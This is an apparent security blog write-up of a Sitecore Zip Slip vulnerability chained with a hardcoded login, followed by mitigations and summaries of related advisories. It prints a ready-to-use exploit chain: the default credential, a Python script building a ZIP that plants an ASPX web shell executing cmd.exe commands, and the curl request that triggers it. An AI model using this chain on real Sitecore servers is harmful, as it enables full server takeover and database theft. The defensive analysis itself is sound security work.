Jan 30, 2026·6 min read·24 visits
Sitecore contains a classic Zip Slip vulnerability in its file upload logic. By uploading a malicious ZIP file, an attacker can overwrite files anywhere on the system. Worse, a hardcoded account (`sitecore\ServicesAPI` : `b`) allows unauthenticated attackers to log in and exploit this, granting full System/IIS access.
A critical Zip Slip vulnerability in Sitecore Experience Platform allows for Remote Code Execution. When chained with a ridiculous hardcoded credential vulnerability (CVE-2025-34509), this becomes a trivial pre-authentication RCE chain affecting enterprise-grade CMS installations worldwide.
If you've spent any time in the corporate web development world, you know Sitecore. It's the beast of a CMS that powers massive enterprise sites, costing roughly the GDP of a small island nation to license and maintain. You expect a fortress. You expect rigorous security development lifecycles. You do not expect a vulnerability class from the 1990s combined with a password that looks like a typo.
Meet CVE-2025-34510. It's a Zip Slip vulnerability. Yes, the thing where you put ../../ in a filename inside a ZIP archive, and the server blindly extracts it outside the intended folder. It is arguably one of the most embarrassing bugs to find in modern software because it implies the developer simply forgot that file paths can be malicious.
But wait, it gets better. Usually, this upload endpoint is behind authentication. Safe, right? Not when the developers leave a hardcoded user named sitecore\ServicesAPI with the password b (yes, just the letter 'b') active in default installations. This turns a post-auth vulnerability into a pre-auth Remote Code Execution (RCE) party.
The vulnerability lives in the heart of Sitecore's content management interface, specifically within the uiUpload pipeline. This pipeline handles files uploaded via the Upload2.aspx endpoint, typically used by content editors to bulk upload media assets.
The logic flow looks something like this:
/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx.Unzip=1.Save processor (Sitecore.Pipelines.Upload.Save) kicks in.Unzip flag and passes the stream to a helper class, Sitecore.Shell.Applications.Dialogs.Upload.UploadPage2.The flaw is a textbook lack of input sanitization. When the application iterates through the files inside the ZIP archive, it reads the ZipEntry.Name property. A malicious archive can contain a file named ../../../../inetpub/wwwroot/shell.aspx. The application takes the destination folder (usually a temp dir) and simply concatenates this malicious name.
Because the code fails to canonicalize the path (e.g., check Path.GetFullPath()) to ensure it stays within the target directory, the file system API happily resolves the .. sequences and writes the file to the web root. Game over.
Let's look at what this looks like in C# pseudo-code. This isn't the exact proprietary source, but it represents the logic flow identified by researchers.
// The 'Save' processor logic
foreach (ZipEntry entry in zipFile)
{
// DANGER: entry.Name is trusted user input
string targetPath = Path.Combine(uploadFolder, entry.Name);
// The application just writes to targetPath.
// If entry.Name is "../../shell.aspx", targetPath becomes
// "C:\inetpub\wwwroot\sitecore\upload\..\..\shell.aspx"
// which resolves to "C:\inetpub\wwwroot\shell.aspx"
using (FileStream stream = File.Create(targetPath))
{
// ... write data ...
}
}The patch involves canonicalizing the path and checking if it starts with the intended directory. This is the standard mitigation for Zip Slip.
// The patched logic
foreach (ZipEntry entry in zipFile)
{
string targetPath = Path.Combine(uploadFolder, entry.Name);
string fullPath = Path.GetFullPath(targetPath);
// Security Check: Does the resolved path still start with the upload folder?
if (!fullPath.StartsWith(Path.GetFullPath(uploadFolder)))
{
throw new SecurityException("Zip Slip attempt detected!");
}
// Safe to write
// ...
}It is baffling that in 2025, frameworks still don't handle this automatically, or that developers miss this check during code review.
Now for the fun part. How do we turn this into a shell? If you are an outsider, you can't access /sitecore/shell/... because of IIS authorization rules. But remember the backdoor credential?
Here is the full kill chain:
Authentication (CVE-2025-34509):
We send a POST request to /sitecore/admin/login.aspx. This endpoint is often less protected than the main shell login. We use the user sitecore\ServicesAPI and the password b. The server responds with an .AspNet.Cookies session cookie. We are now authenticated as a user who, while limited in the UI, has valid session access.
Bypass Access Controls:
With our valid session cookie, IIS allows us to access /sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx. The authorization rules see a valid ticket and let us through.
Weaponize the Archive: We create a python script to generate a malicious ZIP. We don't just want to drop a text file; we want a web shell.
import zipfile
z = zipfile.ZipFile('exploit.zip', 'w')
# Traverse back to webroot and drop the shell
z.writestr('../../../../../inetpub/wwwroot/sitecore/shell/pwn.aspx', '<%@ Page Language="C#" %> <% System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["c"]); %>')
z.close()Delivery:
We POST the exploit.zip to Upload2.aspx, ensuring we set Unzip=1 in the multipart form data.
Execution:
We simply curl https://target.com/sitecore/shell/pwn.aspx?c=whoami. The server executes the ASPX file we just planted, and returns nt authority\system (or whatever the AppPool identity is).
This is a System-Ending Event. Sitecore usually runs with significant privileges on Windows Servers to handle file I/O, media processing, and database connections.
Consequences:
web.config means access to database connection strings (SQL Server). The attacker can dump the entire customer database, user credentials, and content.The fact that this is exploitable via a hardcoded credential makes it scriptable. Expect automated scanners to pick this up immediately.
If you are running Sitecore XP, XM, or XC versions 9.x or 10.x, you are likely vulnerable.
Immediate Steps:
sitecore\ServicesAPI. If it exists, change the password to a 64-character random string or disable the account entirely. Do not ignore this step. Patching the Zip Slip fixes the file write, but leaving a known account active is suicidal.Upload2.aspx from external IPs, and inspect multipart/form-data for filenames containing ../ or ..\ sequences (though this can be tricky with encoding)./sitecore/admin is not accessible from the public internet. This breaks the easy authentication path for the exploit chain.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Sitecore Experience Platform Sitecore | 9.0 - 10.4 | Hotfix KB1003667 |
| Attribute | Detail |
|---|---|
| CVSS | 8.8 (High) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-23 (Relative Path Traversal) |
| EPSS Score | 0.808 (High) |
| Attack Vector | Network (Authenticated via Bypass) |
| Exploit Status | PoC Available / Weaponized |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.